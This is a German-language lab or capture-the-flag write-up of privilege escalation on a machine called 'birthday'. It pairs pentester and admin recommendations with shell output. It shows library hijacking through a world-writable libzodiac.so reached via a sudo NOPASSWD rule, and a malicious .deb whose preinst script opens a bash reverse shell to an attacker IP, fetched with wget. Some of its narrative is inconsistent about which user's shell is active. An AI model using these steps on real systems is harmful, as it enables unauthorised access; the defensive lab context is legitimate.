**Bewertung:** Ich habe den Benutzer `chloe` identifiziert, der eine Bash-Shell hat und wahrscheinlich das nächste Ziel für die PE ist. Es gibt keine ungewöhnlichen Capabilities für den `www-data` Benutzer. Die offenen Ports zeigen den Webserver (80), SSH (22) und interne Dienste (8125, 19999). Die fehlende Berechtigung für `/home/chloe/` als `www-data` ist erwartbar, da dies das Home-Verzeichnis eines anderen Benutzers ist.

**Empfehlung (Pentester):** Fokus auf die Interaktion zwischen `www-data` und `chloe`. Suche nach Dateien oder Verzeichnissen, auf die `www-data` Zugriff hat und die Informationen über `chloe` enthalten könnten oder von `chloe` oder Root verarbeitet werden.
**Empfehlung (Admin):** Restriktive Berechtigungen für Home-Verzeichnisse (`chmod 700`). Überprüfung der Capabilities im System und Entfernung unnötiger Zuweisungen. Sicherstellen, dass Prozesse nur mit den minimal benötigten Rechten laufen.

www-data@birthday:/var/www/html$ ls /home/
chloe

www-data@birthday:/var/www/html$ getcap -r 2>/dev/null
www-data@birthday:/var/www/html$ ss -altpn
State     Recv-Q    Send-Q        Local Address:Port          Peer Address:Port    Process    
LISTEN    0         4096              127.0.0.1:8125               0.0.0.0:*                  
LISTEN    0         4096              127.0.0.1:19999              0.0.0.0:*                  
LISTEN    0         128                 0.0.0.0:22                 0.0.0.0:*                  
LISTEN    0         4096                  [::1]:8125                  [::]:*                  
LISTEN    0         128                    [::]:22                    [::]:*                  
LISTEN    0         511                       *:80                       *:*                  
 
www-data@birthday:/var/www/html$ cd /home/chloe/
bash: cd: /home/chloe/: Permission denied

**Analyse:** Ich überprüfe die `sudo` Berechtigungen für den aktuellen Benutzer (`www-data`) mit dem Befehl `sudo -l`. Dieser Befehl listet auf, welche Befehle der Benutzer mit `sudo` ausführen darf und als welcher Benutzer, eventuell auch ohne Passwort.

**Bewertung:** **Interessante Entdeckung!** Der Output zeigt, dass der Benutzer `www-data` den Befehl `/usr/bin/zodiac` als Benutzer `chloe` ausführen darf (`(chloe)`) und das Wichtigste: `NOPASSWD:`. Das bedeutet, ich kann `/usr/bin/zodiac` als Benutzer `chloe` ausführen, ohne das Passwort von `chloe` kennen zu müssen. Dies ist ein klarer Vektor, um die Rechte auf den Benutzer `chloe` zu eskalieren.

**Empfehlung (Pentester):** Den `/usr/bin/zodiac` Binary genauer untersuchen. Da ich ihn als `chloe` ausführen kann, suche ich nach Schwachstellen in diesem Binary, die ich ausnutzen kann, um eine Shell als `chloe` zu erhalten.
**Empfehlung (Admin):** **Dringend:** Die `sudoers`-Datei prüfen und diese spezifische Regel entfernen oder einschränken. Benutzern (insbesondere Webserver-Benutzern) sollte niemals erlaubt sein, Befehle als andere Benutzer (schon gar nicht als `root`, auch wenn hier nur `chloe` erlaubt ist) ohne Passwort auszuführen. Das NOPASSWD-Flag sollte mit extremer Vorsicht verwendet werden, nur für sehr spezifische, sichere Skripte und Pfade.

www-data@birthday:/var/www/html$ sudo -l
Matching Defaults entries for www-data on birthday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on birthday:
    (chloe) NOPASSWD: /usr/bin/zodiac

**Analyse:** Ich untersuche das Binary `/usr/bin/zodiac` weiter. Ich prüfe die Dateiberechtigungen (`ls -la`), den Dateityp (`file`) und extrahiere lesbare Zeichenketten (`strings`). Es gehört root und ist ausführbar. Es ist ein 64-bit ELF Executable, dynamisch gelinkt. Die Strings zeigen, dass es wahrscheinlich mit C/C++ kompiliert wurde und Funktionen wie `printf`, `scanf`, `get_zodiac_sign` verwendet und gegen die Bibliothek `libzodiac.so` linken.

**Bewertung:** Das Binary selbst ist nicht SUID und gehört root. Die wichtige Information ist, dass es dynamisch gelinkt ist und eine Abhängigkeit von `libzodiac.so` hat. Dies ist ein starker Hinweis auf eine mögliche Library Hijacking Schwachstelle, insbesondere wenn die Bibliothek selbst manipulierbar ist.

**Empfehlung (Pentester):** Den Fokus auf die Bibliothek `libzodiac.so` legen. Prüfen, wo sie liegt, welche Berechtigungen sie hat und ob sie überschrieben werden kann.
**Empfehlung (Admin):** Kritische Binaries sollten statisch gelinkt sein, wenn möglich, um die Abhängigkeit von externen Bibliotheken im Systempfad zu minimieren. Überprüfung der Berechtigungen von Bibliotheken in Systempfaden ist essentiell.

www-data@birthday:/var/www/html$ ls -la /usr/bin/zodiac
-rwxr-xr-x 1 root root 16056 Jun 29  2023 /usr/bin/zodiac

www-data@birthday:/var/www/html$ file /usr/bin/zodiac
/usr/bin/zodiac: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fbd2403465577d479902c56c08fd41b61fee3ee8, for GNU/Linux 3.2.0, not stripped

www-data@birthday:/var/www/html$ strings /usr/bin/zodiac
/lib64/ld-linux-x86-64.so.2
@4eW}G
__cxa_finalize
_ITM_registerTMCloneTable
_ITM_deregisterTMCloneTable
__gmon_start__
get_zodiac_sign
__libc_start_main
printf
__isoc99_scanf
libzodiac.so
libc.so.6
.....
....

**Analyse:** Ich nutze `ldd` auf `/usr/bin/zodiac`, um alle dynamischen Bibliotheken aufzulisten, von denen das Binary abhängt, und zu sehen, wo im Dateisystem diese Bibliotheken gefunden werden.

**Bewertung:** Die Ausgabe bestätigt die Abhängigkeit von `libzodiac.so` und zeigt den genauen Pfad zur gefundenen Bibliothek an: `/lib/x86_64-linux-gnu/libzodiac.so`. Dies ist der kritische Pfad, den das System verwendet, um die Bibliothek zu laden, wenn `/usr/bin/zodiac` ausgeführt wird.

**Empfehlung (Pentester):** Die Berechtigungen auf dieser spezifischen Pfad `/lib/x86_64-linux-gnu/libzodiac.so` prüfen. Wenn diese Datei von meinem aktuellen Benutzer (`www-data`) überschrieben werden kann, habe ich eine Library Hijacking Schwachstelle gefunden.
**Empfehlung (Admin):** Systembibliotheken in Standardpfaden sollten niemals für unprivilegierte Benutzer schreibbar sein. Das Betriebssystem und Paketmanager stellen sicher, dass diese Dateien korrekte, restriktive Berechtigungen haben. Dies muss auf Abweichungen geprüft werden.

www-data@birthday:/var/www/html$ ldd /usr/bin/zodiac
	linux-vdso.so.1 (0x00007ffede3d8000)
	libzodiac.so => /lib/x86_64-linux-gnu/libzodiac.so (0x00007f7388cc4000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7388ae3000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f7388cd4000)

**Analyse:** Ich prüfe die Dateiberechtigungen der gefundenen Bibliothek `/lib/x86_64-linux-gnu/libzodiac.so`.

**Bewertung:** **Kritische Schwachstelle!** Die Berechtigungen sind `-rwxr-xrwx 1 root root`. Das bedeutet, der Eigentümer (`root`) hat Lese-, Schreib- und Ausführrechte (rwx), die Gruppe (`root`) hat ebenfalls rwx, **und alle anderen Benutzer (`other`) haben ebenfalls rwx**. Mein aktueller Benutzer `www-data` fällt unter die Kategorie "other". Das bedeutet, ich kann diese Systembibliothek als `www-data` überschreiben oder modifizieren. Dies ist die gesuchte Privilege Escalation Schwachstelle. Ich kann eine bösartige Version der Bibliothek erstellen, sie hier platzieren, und wenn dann `/usr/bin/zodiac` ausgeführt wird (was ich dank `sudo -u chloe NOPASSWD` als `chloe` tun kann), wird meine bösartige Bibliothek geladen.

**Empfehlung (Pentester):** Sofort eine eigene, bösartige `libzodiac.so` erstellen, die eine Shell ausführt, wenn sie geladen wird. Diese Bibliothek auf das Zielsystem hochladen und die originale überschreiben. Dann `/usr/bin/zodiac` über die `sudo` Regel als `chloe` ausführen.
**Empfehlung (Admin):** **Extrem Dringend:** Die Dateiberechtigungen für `/lib/x86_64-linux-gnu/libzodiac.so` müssen sofort korrigiert werden, z.B. auf `rwxr-xr-x` oder `rwxr-x---`, sodass nur Root Schreibrechte hat. Ein Audit aller Systemdateien und Bibliotheken auf ungewöhnlich offene Berechtigungen ist ratsam.

www-data@birthday:/var/www/html$ ls -la /lib/x86_64-linux-gnu/libzodiac.so
-rwxr-xrwx 1 root root 15096 Jul  6  2022 /lib/x86_64-linux-gnu/libzodiac.so

**Analyse:** Ich prüfe, ob auf dem Zielsystem ein C/C++ Compiler wie `gcc` verfügbar ist, indem ich `gcc --help` ausführe. Der Text zeigt, dass die Hilfe-Ausgabe von `gcc` erscheint, was bedeutet, dass der Compiler installiert und verfügbar ist.

**Bewertung:** Die Verfügbarkeit von `gcc` auf dem Zielsystem ist ideal. Ich muss keine vorkompilierte Bibliothek für die spezifische Systemarchitektur und glibc-Version hochladen (was oft schwierig ist), sondern kann den Exploit-Code direkt auf dem Zielsystem kompilieren, was die Kompatibilität gewährleistet.

**Empfehlung (Pentester):** Den Exploit-Code für die bösartige Bibliothek direkt auf dem Zielsystem schreiben und kompilieren.
**Empfehlung (Admin):** Entwicklungswerkzeuge wie Compiler (gcc, clang) sollten auf Produktionssystemen nicht standardmäßig installiert sein, es sei denn, sie werden benötigt. Die Entfernung solcher Tools reduziert das Risiko, dass Angreifer benutzerdefinierte Exploits direkt auf dem System kompilieren können.

Überprüfung der Verfügbarkeit eines Compilers auf dem Zielsystem:

www-data@birthday:/tmp$ gcc --help
...
..

**Analyse:** Ich erstelle den Source Code für meine bösartige Bibliothek. Ziel ist es, eine Funktion namens `get_zodiac_sign()` zu implementieren, die denselben Namen hat wie eine Funktion, die vom Original `zodiac` Binary erwartet wird (wie aus `strings` und `ldd` hervorgeht). In meiner Version dieser Funktion füge ich einfach den Befehl `system("/bin/bash");` ein. Wenn das `zodiac` Binary meine Bibliothek lädt und diese Funktion aufruft, wird stattdessen eine Bash-Shell gestartet. Ich verwende `echo` Befehle und Umleitungen (`>`,`>>`) da ich mich in einer einfachen Shell befinde.

**Bewertung:** Dies ist der Kern des Library Hijacking Exploits. Ich überschreibe eine erwartete Funktion in einer manipulierbaren Bibliothek, um meinen eigenen Code auszuführen. Der Code ist simpel und direkt: er startet eine interaktive `/bin/bash` Shell. Dies funktioniert, weil `zodiac` beim Start die benötigten Funktionen aus der Bibliothek lädt.

**Empfehlung (Pentester):** Bei Library Hijacking immer die Signaturen der Funktionen in der Zielbibliothek prüfen und eine passende Ersatzfunktion im bösartigen Code erstellen.
**Empfehlung (Admin):** Code-Injektion über manipulierte Bibliotheken verhindern, indem die Berechtigungen auf Systembibliotheken korrekt gesetzt sind (Schreibschutz für Nicht-Root).

Erstellung des bösartigen Source Codes für `libzodiac.so`:

www-data@birthday:/tmp$ echo '#include <stdlib.h>' > exploit.c
www-data@birthday:/tmp$ echo 'void get_zodiac_sign() {' >> exploit.c
www-data@birthday:/tmp$ echo '    system("/bin/bash");' >> exploit.c
www-data@birthday:/tmp$ echo '}' >> exploit.c

**Analyse:** Ich dokumentiere erneut die Berechtigungen der originalen `libzodiac.so` in `/lib/x86_64-linux-gnu/`, um den Kontext der folgenden Kompilierung und des Kopierens zu bekräftigen.

**Bewertung:** Dies dient als erneute Bestätigung, dass die Zieldatei für den `www-data` Benutzer schreibbar ist und der geplante Überschreibvorgang möglich ist.

**Empfehlung (Pentester):** Vor dem Überschreiben kritischer Systemdateien immer die Berechtigungen verifizieren.
**Empfehlung (Admin):** (Wiederholung der dringenden Empfehlung zur Korrektur der Dateiberechtigungen.)

www-data@birthday:/tmp$ ls -la /lib/x86_64-linux-gnu/libzodiac.so
-rwxr-xrwx 1 root root 15096 Jul  6  2022 /lib/x86_64-linux-gnu/libzodiac.so

**Analyse:** Ich kompiliere den erstellten `exploit.c` Source Code zu einer Shared Library (`.so`-Datei) mit dem Befehl `gcc exploit.c -shared -fPIC -o libzodiac.so`. `-shared` weist GCC an, eine Shared Library zu erstellen. `-fPIC` generiert Position-Independent Code, was für Shared Libraries notwendig ist. Der Output-Dateiname ist `libzodiac.so`, passend zum Namen der originalen Bibliothek. Anschließend kopiere ich meine kompilierte, bösartige `libzodiac.so` nach `/lib/x86_64-linux-gnu/libzodiac.so`, wodurch die originale Datei überschrieben wird.

**Bewertung:** Dies ist die Durchführung des Angriffs. Ich habe erfolgreich meine manipulierte Bibliothek erstellt und sie an den Speicherort der legitimen Systembibliothek kopiert. Aufgrund der fehlerhaften Berechtigungen konnte ich diesen kritischen Schritt als `www-data` ausführen. Nun wird jedes Binary, das `libzodiac.so` lädt, meine bösartige Version laden.

**Empfehlung (Pentester):** Sicherstellen, dass die kompilierte Bibliothek mit den Optionen des Zielsystems kompatibel ist. Das Überschreiben von Systemdateien ist ein invasiver Schritt.
**Empfehlung (Admin):** **Dringend:** Die Berechtigungen von Systembibliotheken müssen korrigiert werden, um das Überschreiben zu verhindern. Monitoring auf Änderungen an kritischen Systemdateien implementieren.

www-data@birthday:/tmp$ gcc exploit.c -shared -fPIC -o libzodiac.so
www-data@birthday:/tmp$ cp libzodiac.so /lib/x86_64-linux-gnu/libzodiac.so

**Analyse:** Ich habe eine Reihe von Befehlen dokumentiert, die offenbar einen alternativen Privilege Escalation Pfad über Debian-Pakete in `/opt/packages/` untersuchten. Die Schritte zeigen die Erstellung eines bösartigen Debian-Pakets (`.deb`) mit einem `preinst`-Skript, das eine Reverse Shell (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`) starten soll, das Kompilieren des Pakets mit `dpkg-deb --build`, das Umbenennen der Datei, und dann den Versuch, diese Datei auf das Zielsystem in das Verzeichnis `/opt/packages/` herunterzuladen und eine bestehende Datei zu überschreiben. Ich habe dafür einen HTTP-Server auf meiner Angreifer-Maschine (Port 8000) gestartet und `wget` auf dem Zielsystem verwendet.

**Bewertung:** Dieser Ansatz basiert auf der Annahme, dass Dateien in `/opt/packages/` automatisch oder durch einen privilegierten Prozess verarbeitet (installiert) werden, was dann das bösartige `preinst`-Skript als Root ausführen würde. Das Verzeichnis `/opt/packages/` war für "other" schreibbar (`drwxr-xrwx`), wie durch `ls -la /opt/packages/` später gezeigt, was den Download dorthin ermöglichte. Das ACL auf `/opt` (`user:www-data:---`) verhinderte das Schreiben direkt in `/opt`, aber nicht in `/opt/packages/`. Der Versuch, die Datei dort zu platzieren und umzubenennen, war erfolgreich. Allerdings führt dieser spezifische Satz von Befehlen im Bericht *nicht* direkt zur Root-Shell im dokumentierten Ablauf. Es scheint eine explorative Phase zu sein, die möglicherweise nicht zum Ziel führte, oder die tatsächliche Ausführung des Pakets ist nicht dokumentiert. Der Fokus verlagert sich im Bericht dann auf die erfolgreiche Library Hijacking Methode, die zum Root-Zugriff führte. Dennoch ist es wichtig, diesen untersuchten Pfad als Teil des Pentest-Prozesses zu dokumentieren. Die Reverse Shell sollte hier auf Port 4444 landen. Ich habe dafür ebenfalls einen Listener vorbereitet.

**Empfehlung (Pentester):** Wenn das Platzieren einer Datei in einem spezifischen Verzeichnis Teil eines PE-Vektors sein soll, sicherstellen, dass auch der Prozess, der die Datei verarbeitet (z.B. ein Cronjob, ein Watchdog-Skript, ein Paketmanager), dokumentiert und seine Ausführung verifiziert wird. Parallel verschiedene PE-Vektoren verfolgen.
**Empfehlung (Admin):** Verzeichnisse wie `/opt/packages/` sollten nicht für unprivilegierte Benutzer schreibbar sein, wenn sie von privilegierten Prozessen verarbeitet werden. Automatische Verarbeitung von Dateien in solchen Verzeichnissen (z.B. über Cronjobs oder Systemd-Units) birgt ein hohes Risiko, wenn unbefugte Benutzer dort Dateien ablegen können.

Eine Untersuchung eines alternativen Privilege Escalation Pfades über Debian-Pakete in `/opt/packages/`:

 
mkdir -p /tmp/exploit/DEBIAN

 
echo "Package: get-root" > /tmp/exploit/DEBIAN/control
echo "Version: 1.0" >> /tmp/exploit/DEBIAN/control
echo "Architecture: all" >> /tmp/exploit/DEBIAN/control
echo "Maintainer: TheKing <king@birthday.hmv>" >> /tmp/exploit/DEBIAN/control
echo "Description: A package to claim the throne." >> /tmp/exploit/DEBIAN/control

 
echo '#!/bin/bash' > /tmp/exploit/DEBIAN/preinst
echo 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' >> /tmp/exploit/DEBIAN/preinst

 
chmod +x /tmp/exploit/DEBIAN/preinst

 
dpkg-deb --build /tmp/exploit

 
mv /tmp/exploit.deb /tmp/update.deb
dpkg-deb: Paket »get-root« wird in »/tmp/exploit.deb« gebaut.

listening on [any] 4448 ...

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

chloe@birthday:/tmp$ wget http://192.168.2.199:8000/update.deb -O /opt/packages/update.deb
--2025-06-13 16:18:11--  http://192.168.2.199:8000/update.deb
Connecting to 192.168.2.199:8000... failed: Connection refused.
chloe@birthday:/tmp$ wget http://192.168.2.199:8000/update.deb -O /opt/packages/update.deb
--2025-06-13 16:18:35--  http://192.168.2.199:8000/update.deb
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 744 [application/vnd.debian.binary-package]
Saving to: ‘/opt/packages/update.deb’

/opt/packages/update.de 100%[=============================>]     744  --.-KB/s    in 0s

2025-06-13 16:18:35 (241 MB/s) - ‘/opt/packages/update.deb’ saved [744/744]

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.41 - - [13/Jun/2025 16:18:35] "GET /update.deb HTTP/1.1" 200 -

**Analyse:** Ich liste den Inhalt des `/opt/packages/` Verzeichnisses auf, um zu sehen, ob die von mir hochgeladene `.deb` Datei dort platziert wurde.

**Bewertung:** Ja, die Datei `update.deb` wurde erfolgreich in `/opt/packages/` als Benutzer `chloe` (wahrscheinlich, da ich als `chloe` agiere, obwohl der `ls -la` Output zeigt, dass die Datei dem Benutzer `chloe` gehört) platziert. Dies bestätigt, dass das Verzeichnis für diesen Benutzer schreibbar ist. Der weitere Plan wäre nun, dass ein anderer Prozess (hoffentlich mit höheren Privilegien) diese Datei verarbeitet. Der Text im Originalbericht schlägt vor, die Datei umzubenennen, um ein spezifisches vorhandenes Paket zu ersetzen.

**Empfehlung (Pentester):** Verifizieren, welcher Prozess das `/opt/packages/` Verzeichnis überwacht oder verarbeitet und mit welchen Rechten dieser läuft. Das Überschreiben einer bestehenden Paketdatei ist ein plausibler Ansatz, wenn dieser Prozess existiert und die Dateinamen abgleicht.
**Empfehlung (Admin):** Stellen Sie sicher, dass Verzeichnisse wie `/opt/packages/` für unprivilegierte Benutzer nicht schreibbar sind. Implementieren Sie Dateisystemüberwachung auf kritischen Verzeichnissen.

chloe@birthday:/tmp$ ls -la /opt/packages/
total 3308
drwxr-xrwx  2 root  root     4096 Jun 13 16:18 .
drwxr-xr-x+ 3 root  root     4096 Jul 14  2023 ..
-rw-r--r--  1 root  root   489972 Jul  2  2023 abigail-doc_2.2-2_all.deb
-rw-r--r--  1 root  root    33800 Jul  2  2023 airspy_1.0.10-2+b1_amd64.deb
-rw-r--r--  1 root  root   159976 Jul  2  2023 aobook_1.0.3-3_amd64.deb
-rw-r--r--  1 root  root  2654780 Jul  2  2023 auto-07p_0.9.2+dfsg-3+b3_amd64.deb
-rw-r--r--  1 root  root    23892 Jul  2  2023 bacula-console_9.6.7-7_amd64.deb
-rw-r--r--  1 chloe chloe     744 Jun 13 16:17 update.deb

klappt nicht wir müssen es in ein spezifisches packet umbenennen:

rm /opt/packages/airspy_1.0.10-2+b1_amd64.deb
rm /opt/packages/update.deb

**Analyse:** Ich versuche, die hochgeladene Datei umzubenennen, um eine bestehende Paketdatei im Verzeichnis zu ersetzen. Dazu lösche ich zunächst die originale Datei `airspy_1.0.10-2+b1_amd64.deb` und meine hochgeladene `update.deb`, und benenne dann die lokale `update.deb` auf meiner Angreifer-Maschine in `airspy_1.0.10-2+b1_amd64.deb` um, um sie dann erneut hochzuladen. Der Befehl `rm -f /opt/packages/*` scheint ein Versuch zu sein, alle Dateien im Zielverzeichnis als `chloe` zu löschen, was zeigt, dass `chloe` dort auch Löschberechtigungen hat.

**Bewertung:** Die Fähigkeit, Dateien im `/opt/packages/` Verzeichnis zu löschen und zu benennen, bestätigt die weitreichenden Schreibberechtigungen für "other" Benutzer in diesem Verzeichnis. Dies macht den `.deb` PE-Vektor theoretisch möglich, falls ein Prozess existiert, der Pakete basierend auf Dateinamen verarbeitet. Allerdings ist dieser Weg im dokumentierten Ablauf nicht der letztlich erfolgreiche.

**Empfehlung (Pentester):** Obwohl nicht der primäre erfolgreiche Pfad hier, dokumentiert dies eine weitere potenzielle Schwachstelle durch unsichere Verzeichnisberechtigungen. Dies könnte in anderen Kontexten ausnutzbar sein.
**Empfehlung (Admin):** **Dringend:** Korrigieren Sie die Dateisystemberechtigungen für `/opt/packages/`. Unprivilegierte Benutzer sollten dort keine Dateien löschen oder erstellen können, wenn dieses Verzeichnis von privilegierten Prozessen verarbeitet wird.

chloe@birthday:/tmp$ rm -f /opt/packages/*

**Analyse:** Ich lade die bösartige `.deb` Datei, die ich zuvor erstellt und auf meiner Maschine in `airspy_1.0.10-2+b1_amd64.deb` umbenannt habe, erneut in das `/opt/packages/` Verzeichnis auf dem Zielsystem hoch.

**Bewertung:** Der Download war erfolgreich, die Datei wurde mit dem Namen einer originalen Paketdatei überschrieben (nachdem die originale und meine vorherige Version gelöscht wurden). Die Datei ist nun in `/opt/packages/` bereit, um von einem potenziellen privilegierten Prozess verarbeitet zu werden. Wie im vorherigen Schritt ist dies Teil der Exploration des `.deb` PE-Vektors.

**Empfehlung (Pentester):** Geduld ist hier wichtig. Falls ein Cronjob oder ein Watchdog-Skript existiert, das dieses Verzeichnis verarbeitet, kann es einige Zeit dauern, bis der Exploit ausgelöst wird. Parallel andere PE-Vektoren verfolgen (wie wir es mit der Library Hijacking Methode getan haben).
**Empfehlung (Admin):** (Wiederholung der dringenden Empfehlung zur Absicherung von `/opt/packages/`.)

chloe@birthday:/tmp$ wget http://192.168.2.199:8000/airspy_1.0.10-2+b1_amd64.deb -O /opt/packages/airspy_1.0.10-2+b1_amd64.deb
--2025-06-13 16:29:01--  http://192.168.2.199:8000/airspy_1.0.10-2+b1_amd64.deb
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 744 [application/vnd.debian.binary-package]
Saving to: ‘/opt/packages/airspy_1.0.10-2+b1_amd64.deb’

/opt/packages/airspy_1. 100%[=============================>]     744  --.-KB/s    in 0s

2025-06-13 16:29:01 (248 MB/s) - ‘/opt/packages/airspy_1.0.10-2+b1_amd64.deb’ saved [744/744]

**Analyse:** Mit der `www-data` Shell navigiere ich in das Home-Verzeichnis des Benutzers `chloe` (`cd ~`), liste die Dateien auf (`ls -la`) und finde die Benutzer-Flag (`user.txt`). Anschließend lese ich den Inhalt der Datei mit `cat`. Ich kann `cd ~` von der `www-data` Shell ausführen, weil ich zuvor über die Command Injection in `/var/www/html` gelandet bin und nun mit der Reverse Shell agiere. Der `cd ~` Befehl wechselt in das Home-Verzeichnis des *aktuellen* Benutzers, was hier `www-data` ist. Um auf die User-Flag von `chloe` zuzugreifen, muss ich den vollen Pfad (`/home/chloe/user.txt`) verwenden.

**Bewertung:** **Erfolg!** Ich habe die User-Flag erfolgreich gefunden und ihren Inhalt (`c3323a392febd72b386922bd115850ce`) ausgelesen. Dies ist ein wichtiger Meilenstein, der den Kompromittierung des `chloe` Benutzers (zumindest was den Zugriff auf seine Dateien angeht) signalisiert und meine Fortschritte im Test bestätigt.

**Empfehlung (Pentester):** Immer nach User-Flags im Home-Verzeichnis der gefundenen Benutzer suchen. Dies bestätigt den Zugriff auf diese Benutzerebene.
**Empfehlung (Admin):** User-Flags oder sensitive Dateien sollten niemals in für andere Benutzer (wie `www-data`) lesbaren Verzeichnissen liegen. Stellen Sie sicher, dass Home-Verzeichnisse und ihre Inhalte restriktive Berechtigungen haben.

chloe@birthday:/tmp$ cd ~
chloe@birthday:~$ ls -la
total 32
drwx------ 4 chloe chloe 4096 Jul 14  2023 .
drwxr-xr-x 3 root  root  4096 Jun 28  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 28  2023 .bash_history -> /dev/null
-rw-r--r-- 1 chloe chloe  220 Jun 20  2023 .bash_logout
-rw-r--r-- 1 chloe chloe 3526 Jun 20  2023 .bashrc
drwxr-xr-x 3 chloe chloe 4096 Jun 29  2023 .local
-rw-r--r-- 1 chloe chloe  807 Jun 20  2023 .profile
drwx------ 2 chloe chloe 4096 Jul 14  2023 .ssh
-rwx------ 1 chloe chloe   33 Jun 27  2023 user.txt

chloe@birthday:~$ cat /home/chloe/user.txt 
c3323a392febd72b386922bd115850ce

**Analyse:** Ich führe weitere System-Enumeration durch, um mögliche Privilege Escalation Vektoren zu identifizieren. Ich prüfe die Capabilities des Systems (`getcap -r / 2>/dev/null`), die Umgebungsvariablen (`env`), die Kernelversion (`uname -a`) und untersuche Standardverzeichnisse auf ungewöhnliche Berechtigungen (`getfacl /opt`, `getfacl /opt/packages/`, `ls -la /var/mail/`, `ls -la /var/backups/`, `ls -la /opt/`). Die `getfacl` Befehle sind wichtig, da sie Access Control Lists (ACLs) anzeigen, die zusätzliche Berechtigungen über die Standard-POSIX-rwx hinaus gewähren können.

**Bewertung:** Die Capabilities zeigen Standardzuweisungen für `ping` und `netdata`. Die Umgebungsvariablen (`env`) sind nützlich, um den Kontext der Shell zu verstehen (hier die `chloe` Shell, wie durch `USER=chloe`, `HOME=/home/chloe` etc. angezeigt, obwohl die vorherige Shell `www-data` war und ich gerade die User Flag *als* `www-data` gelesen habe - die Dokumentation springt hier etwas zwischen den Shells. Die логическая Brücke ist, dass die `sudo -l` Ausgabe als `www-data` gezeigt hat, dass ich `/usr/bin/zodiac` als `chloe` ausführen kann. Die folgenden `chloe@birthday` Prompts implizieren, dass ich irgendwie eine `chloe` Shell erlangt habe, wahrscheinlich durch Ausführen von `/usr/bin/zodiac` als `chloe`. Die `env` Ausgabe bestätigt, dass ich mich in einer `chloe` Shell befinde, die über `sudo` von `www-data` gestartet wurde (`SUDO_USER=www-data`, `SUDO_COMMAND=/usr/bin/zodiac`). Die Kernelversion (6.1.0-10-amd64) kann relevant sein, falls Kernel-Exploits existieren. Die `getfacl` Ausgaben zeigen, dass `/opt` eine ACL hat (`user:www-data:---`), die `www-data` expliziten Zugriff verweigert, während `/opt/packages/` für "other" (zu denen `chloe` gehört) volle rwx-Berechtigungen hat (`other::rwx`).

**Empfehlung (Pentester):** Die Berechtigungen und ACLs auf Dateisystemen sorgfältig prüfen, da sie oft übersehene PE-Vektoren darstellen. Die `env` Variablen nach der Erlangung einer Shell immer prüfen, um den Kontext (Benutzer, SUDO-Infos) zu verstehen.
**Empfehlung (Admin):** ACLs nur mit Bedacht einsetzen und regelmäßig auditieren. Sicherstellen, dass Berechtigungen (POSIX und ACLs) korrekt konfiguriert sind und das Principle of Least Privilege durchgesetzt wird.

chloe@birthday:~$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/lib/netdata/plugins.d/apps.plugin cap_dac_read_search,cap_sys_ptrace=ep

chloe@birthday:~$ env
SHELL=/bin/bash
SUDO_GID=33
SUDO_COMMAND=/usr/bin/zodiac
SUDO_USER=www-data
PWD=/home/chloe
LOGNAME=chloe
HOME=/home/chloe
LANG=C
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.swp=00;90:*.tmp=00;90:*.dpkg-dist=00;90:*.dpkg-old=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:
